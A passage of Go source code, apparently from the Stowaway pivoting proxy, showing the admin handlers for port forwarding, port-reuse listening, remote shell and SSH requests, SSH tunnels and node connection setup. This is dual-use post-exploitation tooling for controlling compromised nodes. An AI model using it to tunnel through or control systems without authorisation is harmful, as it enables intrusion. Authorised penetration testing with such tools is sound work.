protocol.ADMIN_UUID, 35 | Accepter: uuid, 36 | MessageType: protocol.FORWARDTEST, 37 | RouteLen: uint32(len([]byte(route))), 38 | Route: route, 39 | } 40 | 41 | testMess := &protocol.ForwardTest{ 42 | AddrLen: uint16(len([]byte(forward.Addr))), 43 | Addr: forward.Addr, 44 | } 45 | 46 | protocol.ConstructMessage(sMessage, header, testMess, false) 47 | sMessage.SendMessage() 48 | 49 | if ready := <-mgr.ForwardManager.ForwardReady; !ready { 50 | listener.Close() 51 | err := fmt.Errorf("fail to forward port %s to remote addr %s,remote addr is not responding", forward.Port, forward.Addr) 52 | return err 53 | } 54 | 55 | mgrTask := &manager.ForwardTask{ 56 | Mode: manager.F_NEWFORWARD, 57 | UUID: uuid, 58 | Listener: listener, 59 | Port: forward.Port, 60 | RemoteAddr: forward.Addr, 61 | } 62 | 63 | mgr.ForwardManager.TaskChan <- mgrTask 64 | <-mgr.ForwardManager.ResultChan 65 | 66 | go forward.handleForwardListener(mgr, listener, route, uuid) 67 | 68 | return nil 69 | } 70 | 71 | func (forward *Forward) handleForwardListener(mgr *manager.Manager, listener net.Listener, route string, uuid string) { 72 | for { 73 | conn, err := listener.Accept() 74 | if err != nil { 75 | listener.Close() // todo:map没有释放 76 | return 77 | } 78 | 79 | mgrTask := &manager.ForwardTask{ 80 | Mode: manager.F_GETNEWSEQ, 81 | UUID: uuid, 82 | Port: forward.Port, 83 | } 84 | mgr.ForwardManager.TaskChan <- mgrTask 85 | result := <-mgr.ForwardManager.ResultChan 86 | seq := result.ForwardSeq 87 | 88 | mgrTask = &manager.ForwardTask{ 89 | Mode: manager.F_ADDCONN, 90 | UUID: uuid, 91 | Seq: seq, 92 | Port: forward.Port, 93 | } 94 | mgr.ForwardManager.TaskChan <- mgrTask 95 | result = <-mgr.ForwardManager.ResultChan 96 | if !result.OK { 97 | conn.Close() 98 | return 99 | } 100 | 101 | go forward.handleForward(mgr, conn, route, uuid, seq) 102 | } 103 | } 104 | 105 | func (forward *Forward) handleForward(mgr *manager.Manager, conn net.Conn, route string, uuid string, seq uint64) { 106 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 107 | // tell agent to start 108 | startHeader := &protocol.Header{ 109 | Sender: protocol.ADMIN_UUID, 110 | Accepter: uuid, 111 | MessageType: protocol.FORWARDSTART, 112 | RouteLen: uint32(len([]byte(route))), 113 | Route: route, 114 | } 115 | 116 | startMess := &protocol.ForwardStart{ 117 | Seq: seq, 118 | AddrLen: uint16(len([]byte(forward.Addr))), 119 | Addr: forward.Addr, 120 | } 121 | 122 | // Seems strange hh 123 | // but the reason why i split this into two part (line 139 and line 168) 124 | // is that if i want to use "Done chan" to make sure "stopforward" won't accidentally close the datachan that line 267 get(which can lead to panic) 125 | // i must make sure that "Done chan" won't block the forwardManager first 126 | // think about this scenario:when admin send startMess to agent,and agent send data back just before line 140 "F_GETDATACHAN" done 127 | // what will happen? 128 | // since i use "Done chan" to block the forwardManager, so i must do done<-true to make forwardManager go ahead 129 | // but sadly, if i want send true to done,i need to send forward data to corresponding chan 130 | // and at the same time "F_GETDATACHAN" is trying to achieve forwardManager's response(which will never response because "Done chan" is blocking it) 131 | // the DEAD LOCK happened 132 | // so to avoid DEAD LOCK, i split task and result to make sure agent must send data after admin get all things done 133 | mgrTask := &manager.ForwardTask{ 134 | Mode: manager.F_GETDATACHAN, 135 | UUID: uuid, 136 | Seq: seq, 137 | Port: forward.Port, 138 | } 139 | mgr.ForwardManager.TaskChan <- mgrTask 140 | result := <-mgr.ForwardManager.ResultChan 141 | 142 | protocol.ConstructMessage(sMessage, startHeader, startMess, false) 143 | sMessage.SendMessage() 144 | 145 | defer func() { 146 | finHeader := &protocol.Header{ 147 | Sender: protocol.ADMIN_UUID, 148 | Accepter: uuid, 149 | MessageType: protocol.FORWARDFIN, 150 | RouteLen: uint32(len([]byte(route))), 151 | Route: route, 152 | } 153 | 154 | finMess := &protocol.ForwardFin{ 155 | Seq: seq, 156 | } 157 | 158 | protocol.ConstructMessage(sMessage, finHeader, finMess, false) 159 | sMessage.SendMessage() 160 | }() 161 | 162 | if !result.OK { 163 | return 164 | } 165 | 166 | dataChan := result.DataChan 167 | 168 | go func() { 169 | for { 170 | if data, ok := <-dataChan; ok { 171 | conn.Write(data) 172 | } else { 173 | conn.Close() 174 | return 175 | } 176 | } 177 | }() 178 | 179 | dataHeader := &protocol.Header{ 180 | Sender: protocol.ADMIN_UUID, 181 | Accepter: uuid, 182 | MessageType: protocol.FORWARDDATA, 183 | RouteLen: uint32(len([]byte(route))), 184 | Route: route, 185 | } 186 | 187 | buffer := make([]byte, 20480) 188 | 189 | for { 190 | length, err := conn.Read(buffer) 191 | if err != nil { 192 | conn.Close() 193 | return 194 | } 195 | 196 | forwardDataMess := &protocol.ForwardData{ 197 | Seq: seq, 198 | DataLen: uint64(length), 199 | Data: buffer[:length], 200 | } 201 | 202 | protocol.ConstructMessage(sMessage, dataHeader, forwardDataMess, false) 203 | sMessage.SendMessage() 204 | } 205 | } 206 | 207 | func GetForwardInfo(mgr *manager.Manager, uuid string) (int, bool) { 208 | mgrTask := &manager.ForwardTask{ 209 | Mode: manager.F_GETFORWARDINFO, 210 | UUID: uuid, 211 | } 212 | mgr.ForwardManager.TaskChan <- mgrTask 213 | result := <-mgr.ForwardManager.ResultChan 214 | 215 | if result.OK { 216 | fmt.Print("\r\n[0] All") 217 | for _, info := range result.ForwardInfo { 218 | fmt.Printf( 219 | "\r\n[%d] Listening Addr: %s , Remote Addr: %s , Active Connnections: %d", 220 | info.Seq, 221 | info.Laddr, 222 | info.Raddr, 223 | info.ActiveNum, 224 | ) 225 | } 226 | } 227 | 228 | return len(result.ForwardInfo) - 1, result.OK 229 | } 230 | 231 | func StopForward(mgr *manager.Manager, uuid string, choice int) { 232 | if choice == 0 { 233 | mgrTask := &manager.ForwardTask{ 234 | Mode: manager.F_CLOSESINGLEALL, 235 | UUID: uuid, 236 | } 237 | mgr.ForwardManager.TaskChan <- mgrTask 238 | <-mgr.ForwardManager.ResultChan 239 | } else { 240 | mgrTask := &manager.ForwardTask{ 241 | Mode: manager.F_CLOSESINGLE, 242 | UUID: uuid, 243 | CloseTarget: choice, 244 | } 245 | mgr.ForwardManager.TaskChan <- mgrTask 246 | <-mgr.ForwardManager.ResultChan 247 | } 248 | } 249 | 250 | func DispatchForwardMess(mgr *manager.Manager) { 251 | for { 252 | message := <-mgr.ForwardManager.ForwardMessChan 253 | 254 | switch mess := message.(type) { 255 | case *protocol.ForwardReady: 256 | if mess.OK == 1 { 257 | mgr.ForwardManager.ForwardReady <- true 258 | } else { 259 | mgr.ForwardManager.ForwardReady <- false 260 | } 261 | case *protocol.ForwardData: 262 | mgrTask := &manager.ForwardTask{ 263 | Mode: manager.F_GETDATACHAN_WITHOUTUUID, 264 | Seq: mess.Seq, 265 | } 266 | mgr.ForwardManager.TaskChan <- mgrTask 267 | result := <-mgr.ForwardManager.ResultChan 268 | if result.OK { 269 | result.DataChan <- mess.Data 270 | } 271 | mgr.ForwardManager.Done <- true 272 | case *protocol.ForwardFin: 273 | mgrTask := &manager.ForwardTask{ 274 | Mode: manager.F_CLOSETCP, 275 | Seq: mess.Seq, 276 | } 277 | mgr.ForwardManager.TaskChan <- mgrTask 278 | } 279 | } 280 | } 281 | -------------------------------------------------------------------------------- /admin/handler/heartbeat.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "Stowaway/admin/topology" 5 | "Stowaway/global" 6 | "Stowaway/protocol" 7 | "time" 8 | ) 9 | 10 | func LetHeartbeat(topo *topology.Topology) { 11 | topoTask := &topology.TopoTask{ 12 | Mode: topology.GETUUID, 13 | UUIDNum: 0, 14 | } 15 | 16 | topo.TaskChan <- topoTask 17 | topoResult := <-topo.ResultChan 18 | uuid := topoResult.UUID 19 | 20 | topoTask = &topology.TopoTask{ 21 | Mode: topology.GETROUTE, 22 | UUID: uuid, 23 | } 24 | topo.TaskChan <- topoTask 25 | topoResult = <-topo.ResultChan 26 | route := topoResult.Route 27 | 28 | for { 29 | time.Sleep(time.Duration(10) * time.Second) 30 | 31 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 32 | 33 | header := &protocol.Header{ 34 | Sender: protocol.ADMIN_UUID, 35 | Accepter: uuid, 36 | MessageType: protocol.HEARTBEAT, 37 | RouteLen: uint32(len([]byte(route))), 38 | Route: route, 39 | } 40 | 41 | HBMess := &protocol.HeartbeatMsg{ 42 | Ping: 1, 43 | } 44 | 45 | protocol.ConstructMessage(sMessage, header, HBMess, false) 46 | sMessage.SendMessage() 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /admin/handler/listen.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "Stowaway/admin/manager" 5 | "Stowaway/admin/printer" 6 | "Stowaway/admin/topology" 7 | "Stowaway/global" 8 | "Stowaway/protocol" 9 | "Stowaway/utils" 10 | ) 11 | 12 | const ( 13 | NORMAL = iota 14 | IPTABLES 15 | SOREUSE 16 | ) 17 | 18 | type Listen struct { 19 | Method int 20 | Addr string 21 | } 22 | 23 | func NewListen() *Listen { 24 | return new(Listen) 25 | } 26 | 27 | func (listen *Listen) LetListen(mgr *manager.Manager, route, uuid string) error { 28 | var finalAddr string 29 | 30 | if listen.Method == NORMAL { 31 | var err error 32 | finalAddr, _, err = utils.CheckIPPort(listen.Addr) 33 | if err != nil { 34 | return err 35 | } 36 | } 37 | 38 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 39 | 40 | header := &protocol.Header{ 41 | Sender: protocol.ADMIN_UUID, 42 | Accepter: uuid, 43 | MessageType: protocol.LISTENREQ, 44 | RouteLen: uint32(len([]byte(route))), 45 | Route: route, 46 | } 47 | 48 | listenReqMess := &protocol.ListenReq{ 49 | Method: uint16(listen.Method), 50 | AddrLen: uint64(len(finalAddr)), 51 | Addr: finalAddr, 52 | } 53 | 54 | protocol.ConstructMessage(sMessage, header, listenReqMess, false) 55 | sMessage.SendMessage() 56 | 57 | if <-mgr.ListenManager.ListenReady { 58 | if listen.Method == NORMAL { 59 | printer.Success("\r\n[*] Node is listening on %s", listen.Addr) 60 | } else { 61 | printer.Success("\r\n[*] Node is reusing port successfully,just waiting for child....") 62 | } 63 | } else { 64 | if listen.Method == NORMAL { 65 | printer.Success("\r\n[*] Node cannot listen on %s", listen.Addr) 66 | } else { 67 | printer.Success("\r\n[*] Node cannot reusing port,plz check if node is initialed via resusing!") 68 | } 69 | } 70 | 71 | return nil 72 | } 73 | 74 | // this function is SPECIAL,handling childuuidreq from both "listen" && "node reuse" && "connect" && "sshtunnel" condition 75 | func dispatchChildUUID(mgr *manager.Manager, topo *topology.Topology, parentUUID, ip string) { 76 | uuid := utils.GenerateUUID() 77 | node := topology.NewNode(uuid, ip) 78 | topoTask := &topology.TopoTask{ 79 | Mode: topology.ADDNODE, 80 | Target: node, 81 | ParentUUID: parentUUID, 82 | IsFirst: false, 83 | } 84 | topo.TaskChan <- topoTask 85 | topoResult := <-topo.ResultChan 86 | childIDNum := topoResult.IDNum 87 | 88 | topoTask = &topology.TopoTask{ 89 | Mode: topology.CALCULATE, 90 | } 91 | topo.TaskChan <- topoTask 92 | <-topo.ResultChan 93 | 94 | topoTask = &topology.TopoTask{ 95 | Mode: topology.GETROUTE, 96 | UUID: parentUUID, 97 | } 98 | topo.TaskChan <- topoTask 99 | topoResult = <-topo.ResultChan 100 | route := topoResult.Route 101 | 102 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 103 | 104 | header := &protocol.Header{ 105 | Sender: protocol.ADMIN_UUID, 106 | Accepter: parentUUID, 107 | MessageType: protocol.CHILDUUIDRES, 108 | RouteLen: uint32(len([]byte(route))), 109 | Route: route, 110 | } 111 | 112 | cUUIDResMess := &protocol.ChildUUIDRes{ 113 | UUIDLen: uint16(len(uuid)), 114 | UUID: uuid, 115 | } 116 | 117 | protocol.ConstructMessage(sMessage, header, cUUIDResMess, false) 118 | sMessage.SendMessage() 119 | 120 | printer.Success("\r\n[*] New node online! Node id is %d\r\n", childIDNum) 121 | } 122 | 123 | func DispatchListenMess(mgr *manager.Manager, topo *topology.Topology) { 124 | for { 125 | message := <-mgr.ListenManager.ListenMessChan 126 | 127 | switch mess := message.(type) { 128 | case *protocol.ListenRes: 129 | if mess.OK == 1 { 130 | mgr.ListenManager.ListenReady <- true 131 | } else { 132 | mgr.ListenManager.ListenReady <- false 133 | } 134 | case *protocol.ChildUUIDReq: 135 | go dispatchChildUUID(mgr, topo, mess.ParentUUID, mess.IP) 136 | } 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /admin/handler/memo.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "Stowaway/admin/manager" 5 | "Stowaway/admin/printer" 6 | "Stowaway/admin/topology" 7 | "Stowaway/global" 8 | "Stowaway/protocol" 9 | ) 10 | 11 | func AddMemo(taskChan chan *topology.TopoTask, info []string, uuid string, route string) { 12 | var memo string 13 | 14 | for _, i := range info { 15 | memo = memo + " " + i 16 | } 17 | 18 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 19 | 20 | topoTask := &topology.TopoTask{ 21 | Mode: topology.UPDATEMEMO, 22 | UUID: uuid, 23 | Memo: memo, 24 | } 25 | taskChan <- topoTask 26 | 27 | header := &protocol.Header{ 28 | Sender: protocol.ADMIN_UUID, 29 | Accepter: uuid, 30 | MessageType: protocol.MYMEMO, 31 | RouteLen: uint32(len([]byte(route))), 32 | Route: route, 33 | } 34 | 35 | myMemoMess := &protocol.MyMemo{ 36 | MemoLen: uint64(len(memo)), 37 | Memo: memo, 38 | } 39 | 40 | protocol.ConstructMessage(sMessage, header, myMemoMess, false) 41 | sMessage.SendMessage() 42 | 43 | printer.Success("\r\n[*] Memo added!") 44 | } 45 | 46 | func DelMemo(taskChan chan *topology.TopoTask, uuid string, route string) { 47 | topoTask := &topology.TopoTask{ 48 | Mode: topology.UPDATEMEMO, 49 | UUID: uuid, 50 | Memo: "", 51 | } 52 | taskChan <- topoTask 53 | 54 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 55 | 56 | header := &protocol.Header{ 57 | Sender: protocol.ADMIN_UUID, 58 | Accepter: uuid, 59 | MessageType: protocol.MYMEMO, 60 | RouteLen: uint32(len([]byte(route))), 61 | Route: route, 62 | } 63 | 64 | myMemoMess := &protocol.MyMemo{ 65 | MemoLen: uint64(len("")), 66 | Memo: "", 67 | } 68 | 69 | protocol.ConstructMessage(sMessage, header, myMemoMess, false) 70 | sMessage.SendMessage() 71 | 72 | printer.Success("\r\n[*] Memo deleted!") 73 | } 74 | 75 | func DispatchInfoMess(mgr *manager.Manager, topo *topology.Topology) { 76 | for { 77 | message := <-mgr.InfoManager.InfoMessChan 78 | 79 | switch mess := message.(type) { 80 | case *protocol.MyInfo: 81 | task := &topology.TopoTask{ 82 | Mode: topology.UPDATEDETAIL, 83 | UUID: mess.UUID, 84 | UserName: mess.Username, 85 | HostName: mess.Hostname, 86 | Memo: mess.Memo, 87 | } 88 | topo.TaskChan <- task 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /admin/handler/offline.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "Stowaway/global" 5 | "Stowaway/protocol" 6 | ) 7 | 8 | func LetShutdown(route string, uuid string) { 9 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 10 | 11 | header := &protocol.Header{ 12 | Sender: protocol.ADMIN_UUID, 13 | Accepter: uuid, 14 | MessageType: protocol.SHUTDOWN, 15 | RouteLen: uint32(len([]byte(route))), 16 | Route: route, 17 | } 18 | 19 | shutdownMess := &protocol.Shutdown{ 20 | OK: 1, 21 | } 22 | 23 | protocol.ConstructMessage(sMessage, header, shutdownMess, false) 24 | sMessage.SendMessage() 25 | } 26 | -------------------------------------------------------------------------------- /admin/handler/shell.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "fmt" 5 | 6 | "Stowaway/admin/manager" 7 | "Stowaway/global" 8 | "Stowaway/protocol" 9 | ) 10 | 11 | func LetShellStart(route string, uuid string) { 12 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 13 | 14 | header := &protocol.Header{ 15 | Sender: protocol.ADMIN_UUID, 16 | Accepter: uuid, 17 | MessageType: protocol.SHELLREQ, 18 | RouteLen: uint32(len([]byte(route))), 19 | Route: route, 20 | } 21 | 22 | shellReqMess := &protocol.ShellReq{ 23 | Start: 1, 24 | } 25 | 26 | protocol.ConstructMessage(sMessage, header, shellReqMess, false) 27 | sMessage.SendMessage() 28 | } 29 | 30 | func DispatchShellMess(mgr *manager.Manager) { 31 | for { 32 | message := <-mgr.ShellManager.ShellMessChan 33 | 34 | switch mess := message.(type) { 35 | case *protocol.ShellRes: 36 | if mess.OK == 1 { 37 | mgr.ConsoleManager.OK <- true 38 | } else { 39 | mgr.ConsoleManager.OK <- false 40 | } 41 | case *protocol.ShellResult: 42 | fmt.Print(mess.Result) 43 | case *protocol.ShellExit: 44 | mgr.ConsoleManager.Exit <- true 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /admin/handler/ssh.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | 7 | "Stowaway/admin/manager" 8 | "Stowaway/global" 9 | "Stowaway/protocol" 10 | "Stowaway/utils" 11 | ) 12 | 13 | const ( 14 | UPMETHOD = iota 15 | CERMETHOD 16 | ) 17 | 18 | type SSH struct { 19 | Method int 20 | Addr string 21 | Username string 22 | Password string 23 | CertificatePath string 24 | Certificate []byte 25 | } 26 | 27 | func NewSSH(addr string) *SSH { 28 | ssh := new(SSH) 29 | ssh.Addr = addr 30 | return ssh 31 | } 32 | 33 | func (ssh *SSH) LetSSH(route string, uuid string) error { 34 | _, _, err := utils.CheckIPPort(ssh.Addr) 35 | if err != nil { 36 | return err 37 | } 38 | 39 | if ssh.Method == CERMETHOD { 40 | if err := ssh.getCertificate(); err != nil { 41 | return err 42 | } 43 | } 44 | 45 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 46 | 47 | header := &protocol.Header{ 48 | Sender: protocol.ADMIN_UUID, 49 | Accepter: uuid, 50 | MessageType: protocol.SSHREQ, 51 | RouteLen: uint32(len([]byte(route))), 52 | Route: route, 53 | } 54 | 55 | sshReqMess := &protocol.SSHReq{ 56 | Method: uint16(ssh.Method), 57 | AddrLen: uint16(len(ssh.Addr)), 58 | Addr: ssh.Addr, 59 | UsernameLen: uint64(len(ssh.Username)), 60 | Username: ssh.Username, 61 | PasswordLen: uint64(len(ssh.Password)), 62 | Password: ssh.Password, 63 | CertificateLen: uint64(len(ssh.Certificate)), 64 | Certificate: ssh.Certificate, 65 | } 66 | 67 | protocol.ConstructMessage(sMessage, header, sshReqMess, false) 68 | sMessage.SendMessage() 69 | 70 | return nil 71 | } 72 | 73 | func (ssh *SSH) getCertificate() (err error) { 74 | ssh.Certificate, err = ioutil.ReadFile(ssh.CertificatePath) 75 | if err != nil { 76 | return 77 | } 78 | return 79 | } 80 | 81 | func DispatchSSHMess(mgr *manager.Manager) { 82 | for { 83 | message := <-mgr.SSHManager.SSHMessChan 84 | 85 | switch mess := message.(type) { 86 | case *protocol.SSHRes: 87 | if mess.OK == 1 { 88 | mgr.ConsoleManager.OK <- true 89 | } else { 90 | mgr.ConsoleManager.OK <- false 91 | } 92 | case *protocol.SSHResult: 93 | fmt.Print(mess.Result) 94 | case *protocol.SSHExit: 95 | mgr.ConsoleManager.Exit <- true 96 | } 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /admin/handler/sshtunnel.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "io/ioutil" 5 | 6 | "Stowaway/admin/manager" 7 | "Stowaway/global" 8 | "Stowaway/protocol" 9 | "Stowaway/utils" 10 | ) 11 | 12 | type SSHTunnel struct { 13 | Method int 14 | Addr string 15 | Port string 16 | Username string 17 | Password string 18 | CertificatePath string 19 | Certificate []byte 20 | } 21 | 22 | func NewSSHTunnel(port, addr string) *SSHTunnel { 23 | sshTunnel := new(SSHTunnel) 24 | sshTunnel.Port = port 25 | sshTunnel.Addr = addr 26 | return sshTunnel 27 | } 28 | 29 | func (sshTunnel *SSHTunnel) LetSSHTunnel(route, uuid string) error { 30 | _, _, err := utils.CheckIPPort(sshTunnel.Addr) 31 | if err != nil { 32 | return err 33 | } 34 | 35 | if sshTunnel.Method == CERMETHOD { 36 | if err := sshTunnel.getCertificate(); err != nil { 37 | return err 38 | } 39 | } 40 | 41 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 42 | 43 | header := &protocol.Header{ 44 | Sender: protocol.ADMIN_UUID, 45 | Accepter: uuid, 46 | MessageType: protocol.SSHTUNNELREQ, 47 | RouteLen: uint32(len([]byte(route))), 48 | Route: route, 49 | } 50 | 51 | sshTunnelReqMess := &protocol.SSHTunnelReq{ 52 | Method: uint16(sshTunnel.Method), 53 | AddrLen: uint16(len(sshTunnel.Addr)), 54 | Addr: sshTunnel.Addr, 55 | PortLen: uint16(len(sshTunnel.Port)), 56 | Port: sshTunnel.Port, 57 | UsernameLen: uint64(len(sshTunnel.Username)), 58 | Username: sshTunnel.Username, 59 | PasswordLen: uint64(len(sshTunnel.Password)), 60 | Password: sshTunnel.Password, 61 | CertificateLen: uint64(len(sshTunnel.Certificate)), 62 | Certificate: sshTunnel.Certificate, 63 | } 64 | 65 | protocol.ConstructMessage(sMessage, header, sshTunnelReqMess, false) 66 | sMessage.SendMessage() 67 | 68 | return nil 69 | } 70 | 71 | func (sshTunnel *SSHTunnel) getCertificate() (err error) { 72 | sshTunnel.Certificate, err = ioutil.ReadFile(sshTunnel.CertificatePath) 73 | if err != nil { 74 | return 75 | } 76 | return 77 | } 78 | 79 | func DispatchSSHTunnelMess(mgr *manager.Manager) { 80 | for { 81 | message := <-mgr.SSHTunnelManager.SSHTunnelMessChan 82 | 83 | switch mess := message.(type) { 84 | case *protocol.SSHTunnelRes: 85 | if mess.OK == 1 { 86 | mgr.ConsoleManager.OK <- true 87 | } else { 88 | mgr.ConsoleManager.OK <- false 89 | } 90 | } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /admin/handler/status.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "Stowaway/admin/manager" 5 | "fmt" 6 | ) 7 | 8 | func ShowStatus(mgr *manager.Manager, uuid string) { 9 | forwardTask := &manager.ForwardTask{ 10 | Mode: manager.F_GETFORWARDINFO, 11 | UUID: uuid, 12 | } 13 | mgr.ForwardManager.TaskChan <- forwardTask 14 | forwardResult := <-mgr.ForwardManager.ResultChan 15 | 16 | backwardTask := &manager.BackwardTask{ 17 | Mode: manager.B_GETBACKWARDINFO, 18 | UUID: uuid, 19 | } 20 | mgr.BackwardManager.TaskChan <- backwardTask 21 | backwardResult := <-mgr.BackwardManager.ResultChan 22 | 23 | socksTask := &manager.SocksTask{ 24 | Mode: manager.S_GETSOCKSINFO, 25 | UUID: uuid, 26 | } 27 | mgr.SocksManager.TaskChan <- socksTask 28 | socksResult := <-mgr.SocksManager.ResultChan 29 | // show socks 30 | fmt.Print("\r\nSocks status:") 31 | if socksResult.OK { 32 | fmt.Printf( 33 | "\r\n ListenAddr: %s:%s Username: %s Password: %s", 34 | socksResult.SocksInfo.Addr, 35 | socksResult.SocksInfo.Port, 36 | socksResult.SocksInfo.Username, 37 | socksResult.SocksInfo.Password, 38 | ) 39 | } 40 | fmt.Print("\r\n-------------------------------------------------------------------------------------------") 41 | // show forward 42 | fmt.Print("\r\nForward status:") 43 | if forwardResult.OK { 44 | for _, info := range forwardResult.ForwardInfo { 45 | fmt.Printf( 46 | "\r\n [%d] Listening Addr: %s , Remote Addr: %s , Active Connnections: %d", 47 | info.Seq, 48 | info.Laddr, 49 | info.Raddr, 50 | info.ActiveNum, 51 | ) 52 | } 53 | } 54 | fmt.Print("\r\n-------------------------------------------------------------------------------------------") 55 | // show backward 56 | fmt.Print("\r\nBackward status:") 57 | if backwardResult.OK { 58 | for _, info := range backwardResult.BackwardInfo { 59 | fmt.Printf( 60 | "\r\n [%d] Remote Port: %s , Local Port: %s , Active Connnections: %d", 61 | info.Seq, 62 | info.RPort, 63 | info.LPort, 64 | info.ActiveNum, 65 | ) 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /admin/initial/method.go: -------------------------------------------------------------------------------- 1 | package initial 2 | 3 | import ( 4 | "crypto/tls" 5 | "net" 6 | "os" 7 | 8 | "Stowaway/admin/printer" 9 | "Stowaway/admin/topology" 10 | "Stowaway/protocol" 11 | "Stowaway/share" 12 | "Stowaway/share/transport" 13 | "Stowaway/utils" 14 | ) 15 | 16 | func dispatchUUID(conn net.Conn, secret string) string { 17 | var sMessage protocol.Message 18 | 19 | uuid := utils.GenerateUUID() 20 | uuidMess := &protocol.UUIDMess{ 21 | UUIDLen: uint16(len(uuid)), 22 | UUID: uuid, 23 | } 24 | 25 | header := &protocol.Header{ 26 | Sender: protocol.ADMIN_UUID, 27 | Accepter: protocol.TEMP_UUID, 28 | MessageType: protocol.UUID, 29 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 30 | Route: protocol.TEMP_ROUTE, 31 | } 32 | 33 | sMessage = protocol.NewDownMsg(conn, secret, protocol.ADMIN_UUID) 34 | 35 | protocol.ConstructMessage(sMessage, header, uuidMess, false) 36 | sMessage.SendMessage() 37 | 38 | return uuid 39 | } 40 | 41 | func NormalActive(userOptions *Options, topo *topology.Topology, proxy share.Proxy) net.Conn { 42 | 43 | var sMessage, rMessage protocol.Message 44 | 45 | hiMess := &protocol.HIMess{ 46 | GreetingLen: uint16(len("Shhh...")), 47 | Greeting: "Shhh...", 48 | UUIDLen: uint16(len(protocol.ADMIN_UUID)), 49 | UUID: protocol.ADMIN_UUID, 50 | IsAdmin: 1, 51 | IsReconnect: 0, 52 | } 53 | 54 | header := &protocol.Header{ 55 | Sender: protocol.ADMIN_UUID, 56 | Accepter: protocol.TEMP_UUID, 57 | MessageType: protocol.HI, 58 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 59 | Route: protocol.TEMP_ROUTE, 60 | } 61 | 62 | for { 63 | var ( 64 | conn net.Conn 65 | err error 66 | ) 67 | 68 | if proxy == nil { 69 | conn, err = net.Dial("tcp", userOptions.Connect) 70 | } else { 71 | conn, err = proxy.Dial() 72 | } 73 | 74 | if err != nil { 75 | printer.Fail("[*] Error occurred: %s", err.Error()) 76 | os.Exit(0) 77 | } 78 | 79 | if userOptions.TlsEnable { 80 | var tlsConfig *tls.Config 81 | tlsConfig, err = transport.NewClientTLSConfig(userOptions.Domain) 82 | if err != nil { 83 | printer.Fail("[*] Error occured: %s", err.Error()) 84 | conn.Close() 85 | continue 86 | } 87 | conn = transport.WrapTLSClientConn(conn, tlsConfig) 88 | // As we have already used TLS, we don't need to use aes inside 89 | // Set userOptions.Secret as null to disable aes 90 | userOptions.Secret = "" 91 | } 92 | 93 | param := new(protocol.NegParam) 94 | param.Conn = conn 95 | param.Domain = userOptions.Domain 96 | proto := protocol.NewDownProto(param) 97 | proto.CNegotiate() 98 | 99 | if err := share.ActivePreAuth(conn); err != nil { 100 | printer.Fail("[*] Error occurred: %s", err.Error()) 101 | os.Exit(0) 102 | } 103 | 104 | sMessage = protocol.NewDownMsg(conn, userOptions.Secret, protocol.ADMIN_UUID) 105 | 106 | protocol.ConstructMessage(sMessage, header, hiMess, false) 107 | sMessage.SendMessage() 108 | 109 | rMessage = protocol.NewDownMsg(conn, userOptions.Secret, protocol.ADMIN_UUID) 110 | fHeader, fMessage, err := protocol.DestructMessage(rMessage) 111 | 112 | if err != nil { 113 | conn.Close() 114 | printer.Fail("[*] Fail to connect node %s, Error: %s", conn.RemoteAddr().String(), err.Error()) 115 | os.Exit(0) 116 | } 117 | 118 | if fHeader.MessageType == protocol.HI { 119 | mmess := fMessage.(*protocol.HIMess) 120 | if mmess.Greeting == "Keep slient" && mmess.IsAdmin == 0 { 121 | if mmess.IsReconnect == 0 { 122 | node := topology.NewNode(dispatchUUID(conn, userOptions.Secret), conn.RemoteAddr().String()) 123 | task := &topology.TopoTask{ 124 | Mode: topology.ADDNODE, 125 | Target: node, 126 | ParentUUID: protocol.TEMP_UUID, 127 | IsFirst: true, 128 | } 129 | topo.TaskChan <- task 130 | 131 | <-topo.ResultChan 132 | 133 | printer.Success("[*] Connect to node %s successfully! Node id is 0\r\n", conn.RemoteAddr().String()) 134 | return conn 135 | } else { 136 | node := topology.NewNode(mmess.UUID, conn.RemoteAddr().String()) 137 | task := &topology.TopoTask{ 138 | Mode: topology.ADDNODE, 139 | Target: node, 140 | ParentUUID: protocol.TEMP_UUID, 141 | IsFirst: true, 142 | } 143 | topo.TaskChan <- task 144 | 145 | <-topo.ResultChan 146 | 147 | printer.Success("[*] Connect to node %s successfully! Node id is 0\r\n", conn.RemoteAddr().String()) 148 | return conn 149 | } 150 | } 151 | } 152 | 153 | conn.Close() 154 | printer.Fail("[*] Target node seems illegal!\n") 155 | } 156 | } 157 | 158 | func NormalPassive(userOptions *Options, topo *topology.Topology) net.Conn { 159 | listenAddr, _, err := 